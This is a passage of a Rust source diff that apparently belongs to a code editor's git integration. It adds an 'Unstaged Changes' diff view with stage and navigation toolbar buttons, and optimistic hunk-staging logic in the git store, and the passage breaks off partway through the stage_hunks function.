+    diff_multibuffer::DiffMultibuffer,
+    git_panel::{GitPanel, GitPanelAddon, GitStatusEntry},
+};
+use anyhow::{Context as _, Result};
+use buffer_diff::DiffHunkStatus;
+use editor::{
+    DiffHunkDelegate, Editor, EditorEvent, ResolvedDiffHunks, SplittableEditor,
+    actions::{GoToHunk, GoToPreviousHunk},
+};
+use git::{StageAll, StageAndNext};
+use gpui::{
+    Action, AnyElement, App, Context, Entity, EventEmitter, FocusHandle, Focusable, Render,
+    SharedString, Subscription, Task, WeakEntity,
+};
+use language::Capability;
+use project::{
+    Project, ProjectPath,
+    git_store::diff_buffer_list::{DiffBase, DiffBufferList},
+    project_settings::ProjectSettings,
+};
+use settings::Settings;
+use std::{
+    any::{Any, TypeId},
+    ops::Range,
+    sync::Arc,
+};
+use ui::{DiffStat, Divider, Icon, Tooltip, Window, prelude::*};
+use util::ResultExt as _;
+use workspace::{
+    ItemNavHistory, SerializableItem, ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView,
+    Workspace,
+    item::{Item, ItemEvent, ItemHandle, SaveOptions, TabContentParams},
+    searchable::SearchableItemHandle,
+};
+
+pub(crate) struct UnstagedDiffDelegate;
+
+impl DiffHunkDelegate for UnstagedDiffDelegate {
+    fn toggle(
+        &self,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        self.stage_or_unstage(true, hunks, editor, window, cx);
+    }
+
+    fn stage_or_unstage(
+        &self,
+        stage: bool,
+        hunks: Vec<ResolvedDiffHunks>,
+        editor: &mut Editor,
+        _window: &mut Window,
+        cx: &mut Context<Editor>,
+    ) {
+        if !stage {
+            return;
+        }
+        let Some(project) = editor.project().cloned() else {
+            return;
+        };
+        for hunks in hunks {
+            let Some(buffer) = hunks.buffer else {
+                continue;
+            };
+            let worktree_ranges = hunks
+                .hunks
+                .into_iter()
+                .map(|hunk| hunk.buffer_range)
+                .collect::<Vec<_>>();
+            if worktree_ranges.is_empty() {
+                continue;
+            }
+            project
+                .update(cx, |project, cx| {
+                    project.stage_hunks(buffer, hunks.diff, worktree_ranges, cx)
+                })
+                .log_err();
+        }
+    }
+
+    fn render_hunk_controls(
+        &self,
+        row: u32,
+        status: &DiffHunkStatus,
+        hunk_range: Range<editor::Anchor>,
+        _is_created_file: bool,
+        line_height: Pixels,
+        editor: &Entity<Editor>,
+        _window: &mut Window,
+        cx: &mut App,
+    ) -> AnyElement {
+        if !ProjectSettings::get_global(cx)
+            .git
+            .show_stage_restore_buttons
+        {
+            return gpui::Empty.into_any_element();
+        }
+        let hunk_range = hunk_range.start..hunk_range.start;
+        h_flex()
+            .h(line_height)
+            .mr_1()
+            .gap_1()
+            .px_0p5()
+            .pb_1()
+            .border_x_1()
+            .border_b_1()
+            .border_color(cx.theme().colors().border_variant)
+            .rounded_b_lg()
+            .bg(cx.theme().colors().editor_background)
+            .block_mouse_except_scroll()
+            .shadow_md()
+            .child(
+                Button::new(("stage", row as u64), "Stage")
+                    .alpha(if status.is_pending() { 0.66 } else { 1.0 })
+                    .tooltip(Tooltip::text("Stage Hunk"))
+                    .on_click({
+                        let editor = editor.clone();
+                        move |_event, window, cx| {
+                            editor.update(cx, |editor, cx| {
+                                editor.stage_or_unstage_diff_hunks(
+                                    true,
+                                    vec![hunk_range.clone()],
+                                    window,
+                                    cx,
+                                );
+                            });
+                        }
+                    }),
+            )
+            .into_any_element()
+    }
+
+    fn render_hunk_as_staged(&self, _status: &DiffHunkStatus, _cx: &App) -> bool {
+        false
+    }
+}
+
+pub struct UnstagedDiff {
+    diff: Entity<DiffMultibuffer>,
+    project: Entity<Project>,
+    workspace: WeakEntity<Workspace>,
+    _diff_event_subscription: Subscription,
+}
+
+impl UnstagedDiff {
+    pub(crate) fn register(workspace: &mut Workspace, cx: &mut Context<Workspace>) {
+        let _ = workspace;
+        workspace::register_serializable_item::<Self>(cx);
+    }
+
+    pub fn deploy_at(
+        workspace: &mut Workspace,
+        entry: Option<GitStatusEntry>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        telemetry::event!(
+            "Git Unstaged Diff Opened",
+            source = if entry.is_some() {
+                "Git Panel"
+            } else {
+                "Action"
+            }
+        );
+        let intended_repo = workspace.project().read(cx).active_repository(cx);
+        let existing = workspace.items_of_type::<Self>(cx).next();
+        let unstaged_diff = if let Some(existing) = existing {
+            workspace.activate_item(&existing, true, true, window, cx);
+            existing
+        } else {
+            let workspace_handle = cx.entity();
+            let unstaged_diff =
+                cx.new(|cx| Self::new(workspace.project().clone(), workspace_handle, window, cx));
+            workspace.add_item_to_active_pane(
+                Box::new(unstaged_diff.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+            unstaged_diff
+        };
+
+        if let Some(intended) = &intended_repo {
+            let needs_switch = unstaged_diff
+                .read(cx)
+                .diff
+                .read(cx)
+                .repo(cx)
+                .map_or(true, |current| current.entity_id() != intended.entity_id());
+            if needs_switch {
+                unstaged_diff.update(cx, |unstaged_diff, cx| {
+                    unstaged_diff.diff.update(cx, |diff, cx| {
+                        diff.set_repo(Some(intended.clone()), cx);
+                    });
+                });
+            }
+        }
+
+        if let Some(entry) = entry {
+            unstaged_diff.update(cx, |unstaged_diff, cx| {
+                unstaged_diff
+                    .diff
+                    .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
+            });
+        }
+    }
+
+    pub(crate) fn new(
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let branch_diff =
+            cx.new(|cx| DiffBufferList::new(DiffBase::Index, project.clone(), window, cx));
+        let workspace_handle = workspace.downgrade();
+        let diff = cx.new(|cx| {
+            DiffMultibuffer::new(
+                branch_diff,
+                Capability::ReadWrite,
+                "No unstaged changes",
+                move |editor, cx| {
+                    editor.set_diff_hunk_delegate(Some(Arc::new(UnstagedDiffDelegate)), cx);
+                    editor.rhs_editor().update(cx, |rhs_editor, _cx| {
+                        rhs_editor.set_read_only(false);
+                        rhs_editor.register_addon(GitPanelAddon {
+                            workspace: workspace_handle,
+                        });
+                    });
+                },
+                project.clone(),
+                workspace.clone(),
+                window,
+                cx,
+            )
+        });
+        Self::from_diff(diff, project, workspace, cx)
+    }
+
+    pub(crate) fn from_diff(
+        diff: Entity<DiffMultibuffer>,
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let diff_event_subscription = cx.subscribe(&diff, |_, _, event: &EditorEvent, cx| {
+            cx.emit(event.clone())
+        });
+
+        Self {
+            diff,
+            project,
+            workspace: workspace.downgrade(),
+            _diff_event_subscription: diff_event_subscription,
+        }
+    }
+
+    fn button_states(&self, cx: &App) -> ButtonStates {
+        let diff = self.diff.read(cx);
+        let editor = diff.editor().read(cx).rhs_editor().clone();
+        let editor = editor.read(cx);
+        let snapshot = diff.multibuffer().read(cx).snapshot(cx);
+        let prev_next = snapshot.diff_hunks().nth(1).is_some();
+        let (selection, ranges) = diff.selected_ranges(cx);
+        let stage = editor
+            .diff_hunks_in_ranges(&ranges, &snapshot)
+            .next()
+            .is_some();
+        let mut stage_all = false;
+        self.workspace
+            .read_with(cx, |workspace, cx| {
+                if let Some(git_panel) = workspace.panel::<GitPanel>(cx) {
+                    stage_all = git_panel.read(cx).can_stage_all();
+                }
+            })
+            .ok();
+
+        ButtonStates {
+            stage,
+            prev_next,
+            selection,
+            stage_all,
+        }
+    }
+
+    fn stage_selected_unstaged_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff.update(cx, |diff, cx| {
+            diff.stage_or_unstage_selected_hunks(true, move_to_next, window, cx)
+        });
+    }
+}
+
+struct ButtonStates {
+    stage: bool,
+    prev_next: bool,
+    selection: bool,
+    stage_all: bool,
+}
+
+impl EventEmitter<EditorEvent> for UnstagedDiff {}
+
+impl Focusable for UnstagedDiff {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.diff.read(cx).focus_handle(cx)
+    }
+}
+
+impl Item for UnstagedDiff {
+    type Event = EditorEvent;
+
+    fn tab_icon(&self, _window: &Window, _cx: &App) -> Option<Icon> {
+        Some(Icon::new(IconName::GitBranch).color(Color::Muted))
+    }
+
+    fn to_item_events(event: &EditorEvent, f: &mut dyn FnMut(ItemEvent)) {
+        Editor::to_item_events(event, f)
+    }
+
+    fn deactivated(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.diff
+            .update(cx, |diff, cx| diff.deactivated(window, cx));
+    }
+
+    fn navigate(
+        &mut self,
+        data: Arc<dyn Any + Send>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        self.diff
+            .update(cx, |diff, cx| diff.navigate(data, window, cx))
+    }
+
+    fn tab_tooltip_text(&self, _: &App) -> Option<SharedString> {
+        Some("Unstaged Changes".into())
+    }
+
+    fn tab_content(&self, params: TabContentParams, _window: &Window, _cx: &App) -> AnyElement {
+        Label::new(self.tab_content_text(0, _cx))
+            .color(if params.selected {
+                Color::Default
+            } else {
+                Color::Muted
+            })
+            .into_any_element()
+    }
+
+    fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
+        "Unstaged Changes".into()
+    }
+
+    fn telemetry_event_text(&self) -> Option<&'static str> {
+        Some("Git Unstaged Diff Opened")
+    }
+
+    fn as_searchable(&self, _: &Entity<Self>, cx: &App) -> Option<Box<dyn SearchableItemHandle>> {
+        Some(Box::new(self.diff.read(cx).editor().clone()))
+    }
+
+    fn for_each_project_item(
+        &self,
+        cx: &App,
+        f: &mut dyn FnMut(gpui::EntityId, &dyn project::ProjectItem),
+    ) {
+        self.diff.read(cx).for_each_project_item(cx, f);
+    }
+
+    fn set_nav_history(
+        &mut self,
+        nav_history: ItemNavHistory,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff
+            .update(cx, |diff, cx| diff.set_nav_history(nav_history, cx));
+    }
+
+    fn can_split(&self) -> bool {
+        true
+    }
+
+    fn clone_on_split(
+        &self,
+        _workspace_id: Option<workspace::WorkspaceId>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Option<Entity<Self>>>
+    where
+        Self: Sized,
+    {
+        let Some(workspace) = self.workspace.upgrade() else {
+            return Task::ready(None);
+        };
+        let project = self.project.clone();
+        Task::ready(Some(cx.new(|cx| Self::new(project, workspace, window, cx))))
+    }
+
+    fn is_dirty(&self, cx: &App) -> bool {
+        self.diff.read(cx).is_dirty(cx)
+    }
+
+    fn has_conflict(&self, cx: &App) -> bool {
+        self.diff.read(cx).has_conflict(cx)
+    }
+
+    fn can_save(&self, _cx: &App) -> bool {
+        true
+    }
+
+    fn save(
+        &mut self,
+        options: SaveOptions,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.diff
+            .update(cx, |diff, cx| diff.save(options, project, window, cx))
+    }
+
+    fn save_as(
+        &mut self,
+        _: Entity<Project>,
+        _: ProjectPath,
+        _: &mut Window,
+        _: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        unreachable!()
+    }
+
+    fn reload(
+        &mut self,
+        project: Entity<Project>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<()>> {
+        self.diff
+            .update(cx, |diff, cx| diff.reload(project, window, cx))
+    }
+
+    fn act_as_type<'a>(
+        &'a self,
+        type_id: TypeId,
+        self_handle: &'a Entity<Self>,
+        cx: &'a App,
+    ) -> Option<gpui::AnyEntity> {
+        if type_id == TypeId::of::<Self>() {
+            Some(self_handle.clone().into())
+        } else if type_id == TypeId::of::<DiffMultibuffer>() {
+            Some(self.diff.clone().into())
+        } else if type_id == TypeId::of::<Editor>() {
+            Some(
+                self.diff
+                    .read(cx)
+                    .editor()
+                    .read(cx)
+                    .rhs_editor()
+                    .clone()
+                    .into(),
+            )
+        } else if type_id == TypeId::of::<SplittableEditor>() {
+            Some(self.diff.read(cx).editor().clone().into())
+        } else if type_id == TypeId::of::<DiffBufferList>() {
+            Some(self.diff.read(cx).branch_diff().clone().into())
+        } else {
+            None
+        }
+    }
+
+    fn added_to_workspace(
+        &mut self,
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff.update(cx, |diff, cx| {
+            diff.added_to_workspace(workspace, window, cx)
+        });
+    }
+}
+
+impl SerializableItem for UnstagedDiff {
+    fn serialized_item_kind() -> &'static str {
+        "UnstagedDiff"
+    }
+
+    fn cleanup(
+        _: workspace::WorkspaceId,
+        _: Vec<workspace::ItemId>,
+        _: &mut Window,
+        _: &mut App,
+    ) -> Task<Result<()>> {
+        Task::ready(Ok(()))
+    }
+
+    fn deserialize(
+        project: Entity<Project>,
+        workspace: WeakEntity<Workspace>,
+        _: workspace::WorkspaceId,
+        _: workspace::ItemId,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Task<Result<Entity<Self>>> {
+        window.spawn(cx, async move |cx| {
+            let workspace = workspace.upgrade().context("workspace gone")?;
+            cx.update(|window, cx| Ok(cx.new(|cx| Self::new(project, workspace, window, cx))))?
+        })
+    }
+
+    fn serialize(
+        &mut self,
+        _: &mut Workspace,
+        _: workspace::ItemId,
+        _: bool,
+        _: &mut Window,
+        _: &mut Context<Self>,
+    ) -> Option<Task<Result<()>>> {
+        Some(Task::ready(Ok(())))
+    }
+
+    fn should_serialize(&self, _: &Self::Event) -> bool {
+        false
+    }
+}
+
+impl Render for UnstagedDiff {
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        self.diff.clone()
+    }
+}
+
+pub struct UnstagedDiffToolbar {
+    unstaged_diff: Option<WeakEntity<UnstagedDiff>>,
+    workspace: WeakEntity<Workspace>,
+}
+
+impl UnstagedDiffToolbar {
+    pub fn new(workspace: &Workspace, _: &mut Context<Self>) -> Self {
+        Self {
+            unstaged_diff: None,
+            workspace: workspace.weak_handle(),
+        }
+    }
+
+    fn unstaged_diff(&self, _: &App) -> Option<Entity<UnstagedDiff>> {
+        self.unstaged_diff.as_ref()?.upgrade()
+    }
+
+    fn dispatch_action(&self, action: &dyn Action, window: &mut Window, cx: &mut Context<Self>) {
+        if let Some(unstaged_diff) = self.unstaged_diff(cx) {
+            unstaged_diff.focus_handle(cx).focus(window, cx);
+        }
+        let action = action.boxed_clone();
+        cx.defer(move |cx| {
+            cx.dispatch_action(action.as_ref());
+        })
+    }
+
+    fn stage_selected_unstaged_hunks(
+        &mut self,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(unstaged_diff) = self.unstaged_diff(cx) else {
+            return;
+        };
+        unstaged_diff.update(cx, |unstaged_diff, cx| {
+            unstaged_diff.stage_selected_unstaged_hunks(move_to_next, window, cx);
+        });
+    }
+
+    fn stage_all(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.workspace
+            .update(cx, |workspace, cx| {
+                let Some(panel) = workspace.panel::<GitPanel>(cx) else {
+                    return;
+                };
+                panel.update(cx, |panel, cx| {
+                    panel.stage_all(&Default::default(), window, cx);
+                });
+            })
+            .ok();
+    }
+}
+
+impl EventEmitter<ToolbarItemEvent> for UnstagedDiffToolbar {}
+
+impl ToolbarItemView for UnstagedDiffToolbar {
+    fn set_active_pane_item(
+        &mut self,
+        active_pane_item: Option<&dyn ItemHandle>,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> ToolbarItemLocation {
+        self.unstaged_diff = active_pane_item
+            .and_then(|item| item.act_as::<UnstagedDiff>(cx))
+            .map(|entity| entity.downgrade());
+        if self.unstaged_diff.is_some() {
+            ToolbarItemLocation::PrimaryRight
+        } else {
+            ToolbarItemLocation::Hidden
+        }
+    }
+
+    fn pane_focus_update(
+        &mut self,
+        _pane_focused: bool,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) {
+    }
+}
+
+impl Render for UnstagedDiffToolbar {
+    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let Some(unstaged_diff) = self.unstaged_diff(cx) else {
+            return div();
+        };
+        let focus_handle = unstaged_diff.focus_handle(cx);
+        let button_states = unstaged_diff.read(cx).button_states(cx);
+
+        let diff = unstaged_diff.read(cx).diff.read(cx);
+        let (additions, deletions) = diff.calculate_changed_lines(cx);
+        let is_multibuffer_empty = diff.multibuffer().read(cx).is_empty();
+
+        h_flex()
+            .my_neg_1()
+            .py_1()
+            .gap_1p5()
+            .flex_wrap()
+            .justify_between()
+            .when(!is_multibuffer_empty, |this| {
+                this.child(DiffStat::new(
+                    "unstaged-diff-stat",
+                    additions as usize,
+                    deletions as usize,
+                ))
+                .child(Divider::vertical().ml_1())
+            })
+            // n.b. the only reason these arrows are here is because we don't
+            // support "undo" for staging so we need a way to go back.
+            .child(
+                h_group_sm()
+                    .child(
+                        IconButton::new("up", IconName::ArrowUp)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Previous Hunk",
+                                &GoToPreviousHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToPreviousHunk, window, cx)
+                            })),
+                    )
+                    .child(
+                        IconButton::new("down", IconName::ArrowDown)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Next Hunk",
+                                &GoToHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToHunk, window, cx)
+                            })),
+                    ),
+            )
+            .child(Divider::vertical())
+            .child(
+                h_group_sm()
+                    .when(button_states.selection, |this| {
+                        this.child(
+                            Button::new("stage", "Stage")
+                                .disabled(!button_states.stage)
+                                .tooltip(Tooltip::text("Stage Selected Hunks"))
+                                .on_click(cx.listener(|this, _, window, cx| {
+                                    this.stage_selected_unstaged_hunks(false, window, cx)
+                                })),
+                        )
+                    })
+                    .when(!button_states.selection, |this| {
+                        this.child(
+                            Button::new("stage", "Stage")
+                                .disabled(!button_states.stage)
+                                .tooltip(Tooltip::for_action_title_in(
+                                    "Stage and Go to Next Hunk",
+                                    &StageAndNext,
+                                    &focus_handle,
+                                ))
+                                .on_click(cx.listener(|this, _, window, cx| {
+                                    this.stage_selected_unstaged_hunks(true, window, cx)
+                                })),
+                        )
+                    }),
+            )
+            .child(Divider::vertical())
+            .child(
+                Button::new("stage-all", "Stage All")
+                    .width(rems_from_px(80.))
+                    .disabled(!button_states.stage_all)
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Stage All Changes",
+                        &StageAll,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| this.stage_all(window, cx))),
+            )
+    }
+}
diff --git a/crates/multi_buffer/src/multi_buffer.rs b/crates/multi_buffer/src/multi_buffer.rs
index 5b61e6237e7051..805ffc73550a60 100644
--- a/crates/multi_buffer/src/multi_buffer.rs
+++ b/crates/multi_buffer/src/multi_buffer.rs
@@ -626,7 +626,7 @@ impl DiffState {
                     this.buffer_diff_changed(diff, range, cx);
                     cx.emit(Event::BufferDiffChanged);
                 }
-                BufferDiffEvent::BaseTextChanged | BufferDiffEvent::HunksStagedOrUnstaged(_) => {}
+                BufferDiffEvent::BaseTextChanged => {}
             }),
             diff,
             main_buffer: None,
@@ -660,8 +660,7 @@ impl DiffState {
                             );
                             cx.emit(Event::BufferDiffChanged);
                         }
-                        BufferDiffEvent::BaseTextChanged
-                        | BufferDiffEvent::HunksStagedOrUnstaged(_) => {}
+                        BufferDiffEvent::BaseTextChanged => {}
                     }
                 }
             }),
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index fd3efdae5c8cf5..74efd3f0c8672e 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -1,5 +1,5 @@
-pub mod branch_diff;
 mod conflict_set;
+pub mod diff_buffer_list;
 pub mod git_traversal;
 pub mod job_debug_queue;
 pub mod pending_op;
@@ -15,7 +15,7 @@ use crate::{
 };
 use anyhow::{Context as _, Result, anyhow, bail};
 use askpass::{AskPassDelegate, EncryptedPassword, IKnowWhatIAmDoingAndIHaveReadTheDocs};
-use buffer_diff::{BufferDiff, BufferDiffEvent};
+use buffer_diff::{BufferDiff, DiffHunk, DiffHunkSecondaryStatus, PendingHunk, PendingSense};
 use client::ProjectId;
 use collections::HashMap;
 pub use conflict_set::{ConflictRegion, ConflictSet, ConflictSetSnapshot, ConflictSetUpdate};
@@ -51,7 +51,7 @@ use gpui::{
     Subscription, Task, TaskExt, WeakEntity,
 };
 use language::{
-    Buffer, BufferEvent, Capability, Language, LanguageRegistry,
+    Anchor, Buffer, BufferEvent, Capability, Language, LanguageRegistry,
     proto::{deserialize_version, serialize_version},
 };
 use parking_lot::Mutex;
@@ -82,7 +82,7 @@ use std::{
 };
 use sum_tree::{Edit, SumTree, TreeMap};
 use task::Shell;
-use text::{Bias, BufferId};
+use text::{Bias, BufferId, OffsetRangeExt, Rope, ToOffset};
 use util::{
     ResultExt, debug_panic,
     paths::{PathStyle, SanitizedPath},
@@ -106,6 +106,7 @@ pub struct GitStore {
     loading_diffs:
         HashMap<(BufferId, DiffKind), Shared<Task<Result<Entity<BufferDiff>, Arc<anyhow::Error>>>>>,
     diffs: HashMap<BufferId, Entity<BufferGitState>>,
+    buffer_ids_by_index_text_buffer_id: HashMap<BufferId, BufferId>,
     shared_diffs: HashMap<proto::PeerId, HashMap<BufferId, SharedDiffs>>,
     _subscriptions: Vec<Subscription>,
 }
@@ -142,6 +143,16 @@ struct BufferGitState {
 
     head_text: Option<Arc<str>>,
     index_text: Option<Arc<str>>,
+    /// The optimistic, in-flight index state: the sole input to the index write,
+    /// expressed relative to the currently-loaded index text (`I0`). Never shown
+    /// to any view (views use per-diff pending hunks). Cleared when a
+    /// recalculation settles.
+    ///
+    /// `I0` is immutable for the lifetime of any pending edit (the index text
+    /// buffer is only fast-forwarded when a recalculation settles, which clears
+    /// this state in the same update), so byte offsets stay valid for the whole
+    /// window.
+    pending_index_edits: Option<Vec<(Range<usize>, Arc<str>)>>,
     oid_texts: HashMap<git::Oid, Arc<str>>,
     head_text_buffer: WeakEntity<Buffer>,
     index_text_buffer: WeakEntity<Buffer>,
@@ -151,6 +162,24 @@ struct BufferGitState {
     language_changed: bool,
 }
 
+fn pending_hunks(
+    hunks: &[DiffHunk],
+    version: &clock::Global,
+    sense: PendingSense,
+) -> Vec<PendingHunk> {
+    hunks
+        .iter()
+        .map(|hunk| {
+            PendingHunk::new(
+                hunk.buffer_range.clone(),
+                hunk.diff_base_byte_range.clone(),
+                version.clone(),
+                sense,
+            )
+        })
+        .collect()
+}
+
 #[derive(Clone, Debug)]
 enum DiffBasesChange {
     SetIndex(Option<String>),
@@ -170,6 +199,73 @@ enum DiffKind {
     SinceOid(Option<git::Oid>),
 }
 
+struct IndexTextFile {
+    path: Arc<RelPath>,
+    full_path: PathBuf,
+    path_style: PathStyle,
+    file_name: String,
+    worktree_id: WorktreeId,
+    is_private: bool,
+}
+
+impl IndexTextFile {
+    fn new(file: &dyn language::File, cx: &App) -> Self {
+        Self {
+            path: file.path().clone(),
+            full_path: file.full_path(cx),
+            path_style: file.path_style(cx),
+            file_name: file.file_name(cx).to_string(),
+            worktree_id: file.worktree_id(cx),
+            is_private: file.is_private(),
+        }
+    }
+}
+
+impl language::File for IndexTextFile {
+    fn as_local(&self) -> Option<&dyn language::LocalFile> {
+        None
+    }
+
+    fn disk_state(&self) -> language::DiskState {
+        language::DiskState::Historic { was_deleted: false }
+    }
+
+    fn path(&self) -> &Arc<RelPath> {
+        &self.path
+    }
+
+    fn full_path(&self, _: &App) -> PathBuf {
+        self.full_path.clone()
+    }
+
+    fn path_style(&self, _: &App) -> PathStyle {
+        self.path_style
+    }
+
+    fn file_name<'a>(&'a self, _: &'a App) -> &'a str {
+        &self.file_name
+    }
+
+    fn worktree_id(&self, _: &App) -> WorktreeId {
+        self.worktree_id
+    }
+
+    fn to_proto(&self, _: &App) -> rpc::proto::File {
+        rpc::proto::File {
+            worktree_id: self.worktree_id.to_proto(),
+            entry_id: None,
+            path: self.path.as_ref().to_proto(),
+            mtime: None,
+            is_deleted: false,
+            is_historic: true,
+        }
+    }
+
+    fn is_private(&self) -> bool {
+        self.is_private
+    }
+}
+
 #[derive(Debug, Clone, Copy)]
 pub enum GitAccess {
     /// Either:
@@ -648,6 +744,7 @@ impl GitStore {
             loading_diffs: HashMap::default(),
             shared_diffs: HashMap::default(),
             diffs: HashMap::default(),
+            buffer_ids_by_index_text_buffer_id: HashMap::default(),
         }
     }
 
@@ -897,6 +994,16 @@ impl GitStore {
                 .as_ref()
                 .and_then(|weak| weak.upgrade())
         {
+            // If this unstaged diff was first opened as the uncommitted diff's
+            // secondary, its index text wasn't highlighted. Enable it now and
+            // recalc so the language gets applied to the deleted (base) side.
+            diff_state.update(cx, |diff_state, cx| {
+                if !diff_state.index_text_buffer_language_enabled {
+                    diff_state.index_text_buffer_language_enabled = true;
+                    let buffer_snapshot = buffer.read(cx).text_snapshot();
+                    diff_state.recalculate_diffs(buffer_snapshot, cx);
+                }
+            });
             if let Some(task) =
                 diff_state.update(cx, |diff_state, _| diff_state.wait_for_recalculation())
             {
@@ -944,15 +1051,17 @@ impl GitStore {
         cx.background_spawn(async move { task.await.map_err(|e| anyhow!("{e}")) })
     }
 
+    /// Opens the staged (HEAD-vs-index) diff for the given buffer, along with
+    /// the index text buffer that is the diff's main buffer.
     pub fn open_staged_diff(
         &mut self,
         buffer: Entity<Buffer>,
         cx: &mut Context<Self>,
-    ) -> Task<Result<Entity<BufferDiff>>> {
+    ) -> Task<Result<(Entity<BufferDiff>, Entity<Buffer>)>> {
         let buffer_id = buffer.read(cx).remote_id();
 
         if let Some(diff_state) = self.diffs.get(&buffer_id)
-            && let Some(staged_diff) = diff_state.read(cx).staged_diff()
+            && let Some(staged_diff) = diff_state.read(cx).staged_diff_and_index_text_buffer()
         {
             if let Some(task) =
                 diff_state.update(cx, |diff_state, _| diff_state.wait_for_recalculation())
@@ -988,7 +1097,270 @@ impl GitStore {
             })
             .clone();
 
-        cx.background_spawn(async move { task.await.map_err(|e| anyhow!("{e}")) })
+        cx.spawn(async move |this, cx| {
+            let diff = task.await.map_err(|e| anyhow!("{e}"))?;
+            this.update(cx, |this, cx| {
+                let index_text_buffer = this
+                    .diffs
+                    .get(&buffer_id)
+                    .and_then(|diff_state| {
+                        let (_, index_text_buffer) = diff_state.read(cx).staged_diff.as_ref()?;
+                        Some(index_text_buffer.clone())
+                    })
+                    .context("index text buffer missing after opening staged diff")?;
+                Ok((diff, index_text_buffer))
+            })?
+        })
+    }
+
+    /// Stages the worktree changes covered by `worktree_ranges`, acting on the
+    /// given unstaged (index-vs-worktree) diff. Used by both the unstaged-changes
+    /// view and the uncommitted (gutter) controls: "stage" means the same index
+    /// change regardless of which view it was invoked from, so callers holding an
+    /// uncommitted diff pass its unstaged secondary.
+    ///
+    /// Decomposes the worktree region into the unstaged hunks it covers, so no
+    /// worktree->index projection is needed. Optimistically suppresses the staged
+    /// hunks from the unstaged diff and, if the uncommitted diff happens to be
+    /// open, marks the corresponding uncommitted hunks as staging.
+    pub fn stage_hunks(
+        &mut self,
+        buffer: Entity<Buffer>,
+        unstaged_diff: Entity<BufferDiff>,
+        worktree_ranges: Vec<Range<Anchor>>,
+        cx: &mut Context<Self>,
+    ) -> Result<()> {
+        if worktree_ranges.is_empty() {
+            return Ok(());
+        }
+        let buffer_snapshot = buffer.read(cx).snapshot();
+        let buffer_id = buffer_snapshot.remote_id();
+        let file_exists = buffer_snapshot
+            .file()
+            .is_some_and(|file| file.disk_state().exists());
+
+        let unstaged_snapshot = unstaged_diff.read(cx).snapshot(cx);
+
+        // Decompose: the unstaged hunks the worktree region covers carry the
+        // index range directly. Sorting by buffer offset also sorts by index
+        // offset, since the hunks are non-overlapping. We read the raw hunks
+        // (ignoring optimistic suppression) so that re-staging a hunk that was
+        // optimistically staged and then unstaged still finds it. The footprints
+        // let the patch drop earlier edits the region covers even where the raw
+        // diff is empty (re-staging a hunk that is staged on disk but
+        // optimistically unstaged).
+        let mut unstaged_hunks = Vec::new();
+        let mut index_footprints = Vec::new();
+        for range in &worktree_ranges {
+            unstaged_hunks.extend(
+                unstaged_snapshot.raw_hunks_intersecting_range(range.clone(), &buffer_snapshot),
+            );
+            index_footprints.push(
+                unstaged_snapshot.base_text_range_for_buffer_range(range.clone(), &buffer_snapshot),
+            );
+        }
+        unstaged_hunks.sort_by_key(|hunk| hunk.buffer_range.start.to_offset(&buffer_snapshot));
+        unstaged_hunks.dedup_by(|a, b| a.buffer_range.start == b.buffer_range.start);
+
+        // The uncommitted hunks the region covers get the optimistic
+        // "staging" secondary status (free cross-view update).
+        let uncommitted_diff = self.get_uncommitted_diff(buffer_id, cx);
+        let mut uncommitted_hunks = Vec::new();
+        if let Some(uncommitted_diff) = &uncommitted_diff {
+            let uncommitted_snapshot = uncommitted_diff.read(cx).snapshot(cx);
+            for range in &worktree_ranges {
+                uncommitted_hunks.extend(
+                    uncommitted_snapshot
+                        .hunks_intersecting_range(range.clone(), &buffer_snapshot)
+                        .filter(|hunk| {
+                            hunk.secondary_status != DiffHunkSecondaryStatus::NoSecondaryHunk
+                        }),
+                );
+            }
+            uncommitted_hunks
+                .sort_by_key(|hunk| hunk.buffer_range.start.to_offset(&buffer_snapshot));
